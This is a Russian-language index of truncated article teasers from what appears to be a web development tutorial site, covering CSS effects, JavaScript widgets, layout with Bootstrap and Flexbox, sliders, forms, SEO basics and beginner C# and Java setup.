к рамке любого элемента на странице может быть применена css анимация. на этом уроке мы создадим keyframe анимацию рамки. посмотрите демо на codepen ...
плагин eslint - это лучший помощник для отлавливания ошибок в процессе написания javascript кода. предупреждая нас о них прямо на лету в редакторе кода. ...
чем это хорошо самостоятельно рисовать иконки на чистом css, когда можно за считанные минуты найти любую иконку на иконочных сервисах и вставить ...
вначале урока по созданию иконки юзера, мы выяснили, почему лучше предпочесть иконки на css, против готовых шрифтовых. на этом уроке, мы научимся ...
для чего нужен движок unreal engine unreal engine - это бесплатный и кроссплатформенный игровой движок, разрабатываемый и поддерживаемый компанией epic ...
на этом уроке создадим тест с вопросами и полями для ввода ответов для дальнейшего размещения на сайте. вопросы и ответы теста хранятся в последовательно ...
для начинающих верстальщиков проблематика не прижатого футера, какое-то время может быть не очевидна. когда контента хватает на всю высоту ...
на этом уроке мы разберем три разных эффекта при наведении на кнопку. посмотрите демо на codepen html разметка создадим в разметке три разных ...
вам срочно нужна на сайт всплывающая форма, но вы ещё не дружите с javascript? тогда стоит внимательно изучить этот урок, чтобы понять в чем заключается ...
существует несколько способов создания блоков со скошенными углами на css. блоки со скошенными углами можно использовать для секций или для ...
многие люди не имеют четкого представления, что такое «удаленка» и что такое фриланс. а некоторые вообще пребывают в полной уверенности, ...
css свойство transform-origin позволяет задать местоположение точки, относительно которой происходит трансформация (смещение, деформация, вращение, ...
в статье про то, как сделать скошенные углы на css, мы разобрали только два кроссбраузерных способа. однако есть ещё и третий способ (через свойство ...
сегодня мы поговорим о сервисе icomoon, который позволяет создавать шрифтовые иконки для различных проектов. что же это за шрифты и в чем их преимущества? ...
на этом уроке я покажу, как буквально за считанные минуты можно бесплатно сделать гифку из видео с помощью онлайн-сервиса giphy. работать с данным ...
на этом уроке мы с вами нарисуем первую букву логотипа google, используя css свойство border и псевдоэлемент. цвет логотипа google первым делом определим, ...
что такое микроразметка сайта микроразметка - это разметка веб страниц с использованием специальных атрибутов и тегов, которые помогают структурировать ...
сегодня мы поговорим о том, как использовать простую javascript библиотеку, которая строит несложные графики в формате svg. библиотека morris.js позволяет ...
на этом уроке мы научимся рисовать речевые и мыслительные выноски, которые применяются в комиксах. нередко подобный комиксовый стиль можно ...
сегодня мы разберем 3 основных способа выравнивания блоков по ширине с помощью css. 1. выравнивание блоков на flexbox на данный момент способ выравнивания ...
любой веб-разработчик в ежедневной рутине сталкивается с шаблонами и макетами, состоящие из определенного набора компонентов. большая часть ...
на данном уроке мы познакомимся с технологией drag-and-drop, дословный перевод тяни и бросай. задача реализуется путем захвата элемента и перемещения ...
на этом уроке мы научимся выводить на странице значения координат (x, y) курсора, в момент движения мыши внутри блока с помощью javascript. определение ...
fancybox 3 это универсальный плагин, использующий возможности библиотеки jquery для быстрой вставки медиа-контента на сайте в виде галереи. в этой ...
жизнь не стоит на месте и вот в очередной нас порадовали разработчики самого популярного css-фреймворка bootstrap. наконец-то вышла новая версия bootstrap ...
в прошлой статье мы рассмотрели с вами как установить visual studio 2019. а в этой непосредственно приступим к разработке первого приложения на c#. ...
что такое a/b тестирование сайта a/b тестирование - это сравнение двух страниц с разным дизайном, но в одинаковых условиях, чтобы выяснить какая ...
по умолчанию все браузеры ищут фавикон в корне сайта, но ничего не случиться, если мы поместим фавикон в папку с картинками и укажем пути в хедере ...
доброго времени суток! перед тем как начать программировать на c#, вам необходимо установить интегрированную среду разработки visual studio community. ...
я считаю, что верстальщику необходим навык стилизации готового slick слайдера под слайдер на макете для верстки. сейчас объясню почему. предположим, ...
на прошлом уроке мы сделали верстку слайдера, на этом уроке настроим и стилизуем slick слайдер. настройки slick слайдера просматривая демо-страницу ...
на этом уроке, мы сделаем таймер обратного отсчета на javascript, используя уже готовую верстку на html и css. если на странице вашего сайта или лендинга ...
градиент - это плавный переход от одного цвета к другому. в веб-дизайне мы часто сталкиваемся с фоновыми и интерфейсными градиентами и намного ...
что вообще должно происходить с этими кнопками и карточками товаров? при клике пользователя по черной кнопке, на сайте должны остаться только ...
у вас на руках есть готовый дизайн для футболки. что с ним делать дальше? как получить готовый продукт в свой интернет-магазин? для начала нужно ...
чтобы сделать свою версию этого дизайна, на первых порах вам не нужен photoshop и дизайнерские навыки. простые вещи можно сделать легко и быстро, ...
интригующее название «заработок на продаже товара, которого у вас нет нет» никакая не мошенническая схема, а вполне реальный бизнес. который ...
конструктор яндекс карт независимо от этого куда вы в дальнейшем будете вставлять яндекс карту, первый шаг всегда начинается с конструктора ...
не всякий раз верстка бесплатных макетов в учебных целях, хорошая идея. такое занятие требует много времени и высока вероятность, что вам быстро ...
на этом уроке мы с вами научимся, как быстро и легко сделать на сайте симпатичный анимированный фон. для этого нужно подключить и настроить замечательный ...
как показывает практика, для начинающих фронтендеров, самой большой проблемой при кастомизации slick слайдера, остается настройка стрелок и точек. ...
в статье про формы, тема полей ввода (input) умышленно осталась не затронутой, поскольку она обширная и заслуживает отдельного внимания. элемент ...
значения свойства transition управляют плавной сменой свойств при анимации, наведении и клике на любой элемент. css свойство transition нацелено на улучшение ...
на этом уроке мы разберем, как вставить видео в кастомном видеоплеере на html страницу. в качестве импровизированного видеоплеера, будет использовано ...
в первой части урока мы сверстали логотип и меню для десктопных устройств. в чем проблема с меню навигации для планшетов и смартфонов? на маленьких ...
в первой части урока мы сверстали логотип и меню для десктопных устройств. во второй части урок нарисовали и запрограммировали кнопку гамбургер. ...
на этом уроке мы реализуем интересный эффект с фокусировкой размытого фона и размытия изображения при наведении в css. при наведении на элемент ...
продолжим разбор с ошибок при верстке сайта, которые допускают начинающие верстальщики. рекомендую начать с первой и второй части статьи, если ...
на этом уроке вы узнаете, как на языке javascript показать и скрыть любой элемент на сайте, кликнув по кнопке. html структура в html разметке присутствует ...
на этом уроке продолжим разбор ошибок начинающих верстальщиков. первые две ошибки были связаны с использованием строчных и блочных элементов. ...
на этом уроке вы узнаете, как на языке javascript сделать простой спойлер. спойлер на сайте - это скрытая часть контента, которая будет скрыта до тех ...
в css grid можно позиционировать отдельно взятую ячейку (grid item), как по оси x, так и по оси y. поэтому, все рассматриваемые css свойства будут относиться ...
все базы данных делятся на два типа, с хранением данных в таблицах (mysql) и с хранением данных, в массивах (формат bson). mongodb – документо-ориентированная ...
на этом уроке вы узнаете, как сделать градиентную рамку с размытыми краями для блоков. данный css-эффект построен на градиентах, заданных псевдоэлементам. ...
разработчики клиентских сайтов на wordpress, часто сталкиваются с необходимостью восстанавливать сайт, после очередного обновления какого-нибудь ...
на прошлом уроке, мы привязали к кнопке гамбургер выезжающее меню при клике по ней. посмотрите демонстрационный пример прошлого урока, как ...
в первой и второй части урока, мы заново создали шапку сайта, но этого не достаточно. при уменьшении ширины экрана до 1000 пикселей, элементы сайта ...
исходя из своего личного опыта, делать адаптивную верстку psd макета по сетке bootstrap, несколько проще, чем на флоатах или флексах. верстку по системе ...
на предыдущем уроке мы верстали верхнюю панель макета, а на этом уроке приступим к верстке карусели (слайдера). скриншот секции карусель. ...
на предыдущем уроке мы верстали карусель (слайдер) с помощью bootstrap компонента carousel, а на этом уроке нас ждет верстка секции с иконками. секция ...
итак, на этом уроке делаем верстку последней секции макета по сетке bootstrap. секция с корзиной верстаем уже по накатанной схеме: секция -> ...
в этой статье речь пойдет не о стилизации стандартного чекбокса созданного на html, а о создании чекбокса с нуля и реализации его переключения ...
на экранах мобильных устройств, очень часто для горизонтального меню не хватает места. как же решает эту проблему большинство верстальщиков? ...
разделим рисование куба условно на пять сторон и сверху крышка top. html код тегами span обозначим 4 стороны куба с использованием переменной i. ...
в свернутом виде меню навигации из себя представляет кнопку с иконкой плюс. при клике по кнопке меню разворачивается - иконки образуют круг ...
на этом уроке мы сделаем нестандартную анимацию для переключателя меню-гамбургер на языке javascript. создание переключателя создадим саму кнопку-переключатель ...
на прошлом уроке, мы создали анимацию для кнопки гамбургер, без привязки к меню. на этом уроке привяжем к нашей кнопке адаптивное меню. на мобильных ...
можно бесконечно долго изучать html теги и css свойства, но эти знания сами по себе ничего не дают. нужно брать psd макет и начинать верстать, закрепляя ...
моему другу на собеседовании в одну it компанию, дали следующее задание: "как при помощи jquery отфильтровать данные из списка по первым буквам в ...
секция с фотографиями на секции с портфолио, вы узнаете, как верстать на flexbox. мы имеем дело с нестандартным расположением фотографий, одна ...
на прошлом уроке мы создали футер, украшенный волной, в его верхней части. согласитесь, что неплохо было бы оживить нашу волну - сделать анимацию. ...
полупрозрачная бизнес карта органично вписывается в любой дизайн сайта. если поменять изображение у фона, например на летнюю тему, то бизнес ...
сегодня мы поговорим о том, что такое якорь в html, как это работает, да так, чтобы действие произошло плавно. якорь – это знак решетки, который ...
у любого вебмастера есть свой набор полезных сервисов, которые облегчают работу и помогают в веб разработке. сегодня я поделюсь с вами своей ...
продолжим создание индикатора для меню навигации. здесь находится первая часть урока. стилизация и hover-эффект меню при наведении мыши, иконка ...
в спокойном состоянии кнопка выглядит обычно, в стиле плоского дизайна. однако при наведении на нее мыши, происходит переворачивание с 3d-эффектом. ...
у посетителя сайта, должна быть возможность, быстро вернуться наверх, если он дошел до конца страницы. обычно в правом нижнем углу браузера, ...
на втором уроке мы уже стилизовали контактную форму и разместили ее в левой колонке. остальные три блока (контактная информацию, соц. иконки ...
на первом уроке мы уже создали большую часть html-разметки. google карта пошаговая инструкция как вставить на сайт карту с вашим объектом. ...
на этом уроке вы узнаете, как работать со скриптом aos, с помощью которого можно легко создавать анимацию элементов при скролле страниц. ссылка ...
внутри контейнера header находится блок навигации nav. меню шапки в свою очередь навигация содержит меню и языковое меню. продолжим html ...
уже давно на главной странице блога для вывода превью-постов, активно применяют не привычный список, а сеточный макет (grid layout) в виде карточек ...
чтобы пользователю было веселее переходить по ссылкам, веб-разработчики придумывают креативные hover-эффекты. зачастую хватает одного css, без ...
всем частным компаниям или государственным организациям необходимо размещать в контактах карту их местоположения. поисковая система google, ...
сервис яндекс.деньги позволяет любому физическому лицу (для юрлиц и ип есть яндекс.касса), разместить на сайте форму оплаты, даже владельцам ...
как сделать массовый импорт товаров в интернет-магазин, работающий на плагине wordpress – woocommerce? совсем недавно этого нельзя было сделать бесплатно, ...
сегодня вы узнаете как сделать чекбокс на html и добавить ему css стилей для лучшей совместимости с дизайном сайта. демонстрация чекбокс на ...
на этом уроке мы подробно разберем, как сделать карточку товара на css. под карточкой товара, я подразумеваю продающую карточку в интернет-магазинах. ...
по умолчанию маркером списка ul, служит простая черная точка. я знаю, что многие начинающие верстальщики, используют маркированные списки для ...
в данной статье я расскажу вам, что такое шаблонизатор twig, и чем он может помочь веб-разработчику. любой, кто уже пытался разрабатывать свой ...
сегодня мы создадим три вкладки (tabs), переключаясь между которыми, поочередно будет скрываться или снова показываться, содержимое всех вкладок. ...
если верхняя панель навигации или просто меню (это одно и тоже), исчезает с поля зрения, при прокрутке странице, то перед вами точно не фиксированное ...
я большой сторонник минимализма при планировании html структуры сайта. любой сайт начинается с шапки и если у вас небольшое меню, то желательно ...
при создании веб-сайта мы должны уделять первоочередное внимание цели привлечения посетителей, с тем, чтобы задержать их затем дольше на сайте. ...
существует длинный список языков программирования, которые продолжают существовать по сей день, со своими сильными и слабыми сторонами, облегчая ...
предлагаю вашему вниманию конкретный план действий, состоящий из 8 шагов, которые приведут вас от идеи до готовой схемы структуры сайта. схема ...
css библиотека imagehover – это коллекция различных css эффектов при наведении на картинку (hover effects), которые можно применять как к одиночным картинкам, ...
семантическое ядро – это список ключевых слов, по которым будут заходить пользователи на ваш сайт из поисковых систем. сначала собирают семантическое ...
на прошлом уроке мы создали схему структуры сайта, на котором будет 6 категорий, одна из категорий будет состоять из двух подкатегорий. все категории ...
у нас есть схема структуры сайта с ключевыми словами, которые будут вставляться в статью, давая четкий сигнал поисковым машинам, на какой запрос ...
css анимация, состоит из ключевых кадров @keyframes, куда прописываются стандартные css свойства. собственно для создания эффектной анимации, нужны ...
в прошлой статье мы говорили с вами о линейном поиске, который подойдет для поиска в небольших по объему не сортированных коллекциях. однако, ...
для верстальщика псевдоэлементы и псевдоклассы – незаменимые помощники и я вам это сейчас докажу на примере фрагмента psd макета. дизайнеры ...
на этом уроке, мы создадим сайдбар с иконками, для этого нам пригодится иконочный шрифт и хорошие знания в html + css. надо сказать, что мода на ...
как веб-разработчику продемонстрировать потенциальному клиенту адаптивность сделанных сайтов из портфолио? и зачем вообще, что-то демонстрировать, ...
статичные блоки с отзывами идеально подходят для классических товарных лендингов. это когда срок жизни лендинга, равен длительности продажи ...
доброго времени суток! в прошлой статье мы рассмотрели с вами, что такое операционная система linux и какие дистрибутивы бывают. одним из самых ...
необходимость размещать текст в колонках на веб-страницах, безусловно пришла из газет и журналов. однако на мониторах компьютеров, читать длинные ...
какая необходимость делать купоны на css, когда есть photoshop и много замечательных сервисов, где на конструкторе, выбрав нужный шаблон, можно с легкостью ...
пропишем внутри ссылок data*-атрибуты с названиями ссылок. это нужно для передачи этих названий в функцию attr для получения hover-эффекта. <ul> ...
мне очень нравится этот способ создания бегущей волны для последующей ее анимации. почему? здесь мы не используем никакой графики, только свойства ...
из этого урока вы узнаете как создать навигационное меню с иконками и hover-эффектом, используя библиотеку font awesome на чистом css. 1) подключить библиотеку ...
авторам статей или коммерческих текстов удобно писать и сразу видеть сколько символов уже написано. ведь от этого зависит, сколько денег в итоге ...
сегодня мы поговорим о требуемых навыках для работы не на фрилансе, а в офисе, как на месте, так и удаленно. просматривая размещенные вакансии ...
много реалистичные пузырьков разных размеров, с разной скоростью поднимаются вверх, лопаясь на ходу. как такое возможно сделать на javascript? перед ...
на этом уроке мы сделаем валидацию номера телефона на js. для этого создадим форму с одним единственным полем, куда пользователь будет вводить ...
в очередной раз, просматривая вакансии на html-верстальщика, на предмет поиска темы для новой статьи, в списке требований работодателя, наткнулся ...
в чем состоит необычность эффекта? у карточки есть два лица. в своем обычном состоянии карточка пронумерована и полностью закрашена красным ...
чтобы нарисовать реалистичные капли воды, не обязательно владеть техникой рисования. достаточно хорошо знать css-свойства и уметь применять ...
продолжаем верстку формы входа, используя методологию бэм. шаг 3. под ссылкой – блок с аватаркой. <div class="form__avatar"> <img src="img/avatar.png" alt="avatar"> ...
на прошлом уроке, мы закончили с чекбоксом, нам осталось сделать кнопку. шаг 7. внутри блока с формой, сделаем разметку для кнопки, обернем ...
какие в принципе существуют варианты, чтобы расположить текст вертикально на чистом css. я, как минимум знаю два варианта, оба мы сейчас и рассмотрим. ...
для получения изогнутой тени, нужно прописать обоим псевдоэлементам before и after, css-свойство transform: skewy. по оси y, мы изменим прямые углы на +-7.5 градусов. ...
при наведении на элемент, можно менять не только его внешний вид посредством css, но и самого курсора. а с помощью javascript реагировать на событие ...
как легко и оригинально оживить текст, не создавая никакой анимации? об этом вы узнаете на этом уроке. эффект красиво смотрится только на крупном ...
посмотрите сначала предыдущий урок. а что если пользователь не догадается навести мышку на свернутое меню, чтобы его развернуть? неплохо было ...
этот необычный эффект строится на двухслойности: нижний слой желтый, а верхний - синий. двигая мышкой слева направо, вы постепенно убираете верхний ...
сделать на css красивую градиентную тень вместо обычной серовато-черного цвета? это никакая не сверхзадача, css легко с этим справляется. создание ...
как можно получить красивый эффект анимации градиента, если в css-коде не используются вообще градиенты? испытаем данный трюк на loader. создание ...
пока вы сидели в одиночестве, вылавливая на фриланс-биржах, подходящие для себя заказы, офисные веб-разработчики, уже на полную катушку, использовали ...
4) позиционирование инпута и текста .list ul label{     position: relative; / * относительное позиционирование * /     display: flex; / * отображать ...
обычно форма поиска как минимум состоит из двух полей input: это текстовое поле, куда пользователь вводит ключевое поисковое слово и кнопки "поиск". ...
бывает, что заказчики часто просят, сделать дополнительную навигацию на wordpress и вывести её, в указанном на скриншоте, месте (красными стрелочками). ...
html код html разметка состоит из элементов маркированного списка, внутри блока div. <div class="list">     <h2>list item hover effect</h2>     <ul> ...
шаг 1) создание html-разметки сделать кнопку можно разными способами: через тег button, div или a. я предпочитаю сделать это сразу через ссылку a, поскольку ...
прозрачная форма на фоне какого-нибудь девственного пейзажа - любимая тема веб-дизайнеров. как верстать такую форму? с этим нам предстоит сегодня ...
нас, веб-разработчиков, строгий google, уже давно убедил, что изображения на сайте, надо оптимизировать – уменьшать их вес. красный или оранжевый ...
css свойство align-items управляет элементами по вертикали в системе grid layout. на этом уроке, вы увидите все возможные варианты расположения элементов ...
по умолчанию боковое меню выглядит, как узкая полоска с иконками. так пользователь понимает, что это меню можно развернуть и увидеть названия ...
мне нравиться использовать шрифтовые иконки из библиотеки fontawesome, потому что их легко кастомизировать под любую цветовую гамму сайта. html разметка ...
для верстальщика обязательным порядком необходимо уметь стилизовать разные элементы формы. согласитесь, что вряд ли дизайнер оставит форму, ...
рассмотрим на примере анимации текста, как можно использовать css функцию attr. создание, позиционирование и стилизация текста data-text представляет ...
давайте немного освежим в памяти, для чего нужны radio кнопки на сайтах. radio кнопка – это переключатель, который используют в формах, когда пользователю ...
на этом уроке, мы займемся версткой формы, пока без отправления данных на сервер. кроме того, установим скрипт выбора даты, при онлайн бронировании. ...
для создания этого забавного лоадера, слегка напоминающего игрушку кубик-рубик, нужно в html-разметке прописать блок обертку с классом loader и четыре ...
валидация формы – это функция, проверяющая вводимую пользователем информацию, при заполнении формы. если пользователь что-то пропустил или ...
для создания более сложных css анимаций, разработчики ввели функцию var() и calc(). функция var() позволяет динамически вставлять значения переменных ...
в прошлой статье мы говорили о том, как превратить php скрипт в консольную команду для выполнения рутинных действий. а в этой посмотрим как разобрать ...
на это уроке мы рассмотрим эффект, когда при движении курсора плавно появляется и исчезает текст. создание и стилизация текста <div class="box"> ...
при посещении тех или иных сайтов можно заметить такую особенность, когда при выделении текста на странице, он может менять свой стиль. такого ...
на прошлом уроке были проделаны все подготовительные работы для верстки секции по psd макету. после создания файла index.html (я пишу код в notepad++), у ...
на предыдущем уроке мы нарисовали чашку с блюдцем, используя только css стили и никакой графики. на этом уроке сделаем нашу чашку интерактивной ...
css отлично подходит для анимирования элементов сайта, когда не требуется взаимодействия с пользователями. если элементы должны реагировать ...
данная css анимация построена на двух свойстве transform с его значениями: rotate (поворот) и scale (масштабирование). два круга вращаются вокруг своей оси ...
на всей странице будет происходить плавное движение вверх разноцветных квадратиков разного размера. подготовка фона для анимации создадим ...
на прошлом уроке была сделана html разметка для дальнейшей верстки psd макета. как и ожидалось все блоки и секции встали друг под друга - это и есть ...
на прошлом уроке была сделана верстка секции по psd макету. сейчас наш сайт хорошо смотрится на больших и средних мониторах. но что произойдет, ...
здравствуйте, уважаемые посетители сайта myrusakov.ru! как вы знаете, недавно я запустил несколько новых видео курсов связанных с языком java и поэтому ...
по внутренней поверхности полукруга, туда-сюда катается мячик. кроме этого сам полукруг или назовем его лоадер, раскачивается вверх-вниз, словно ...
медленно движущаяся картинка в сферической рамке смотрится очень завораживающе. эта сказочная анимация выглядит дорого, хоть и сделана на ...
перед теми кто начинает программировать на java, сразу возникают два вопроса: как скомпилировать, и как запустить программу на java? в одной из ...
как развернуть сложенные в стопку карточки при наведении мыши? html разметка html структура состоит из трех карточек с текстовым контентом. ...
оформить красиво статью на html - это не значит, как-то ярко или по-особому. вовсе нет, стиль оформления, не должен напрягать читателя и вызывать ...
сделать какой-нибудь простенький эффект при наведении можно с помощью самого курсора, меняя его внешний вид. html разметка создадим меню, используя ...
пользователь водит мышкой по экрану и автоматически стирается верхний слой. под верхним слоем находится фоновая картинка. немного движений ...
переменные в css появились в основном для создания анимаций. на этом уроке мы сделаем лоадер с летающим по заданной траектории самолетом. это ...
на этом уроке вы узнаете, как заставить placeholder не исчезать, а переместится наверх при заполнении поля формы. html разметка форма состоит из ...
es6 модули — стандартный способ организовывать код в javascript. они делают проекты понятнее, ускоряют загрузку в браузере и упрощают тестирование. ...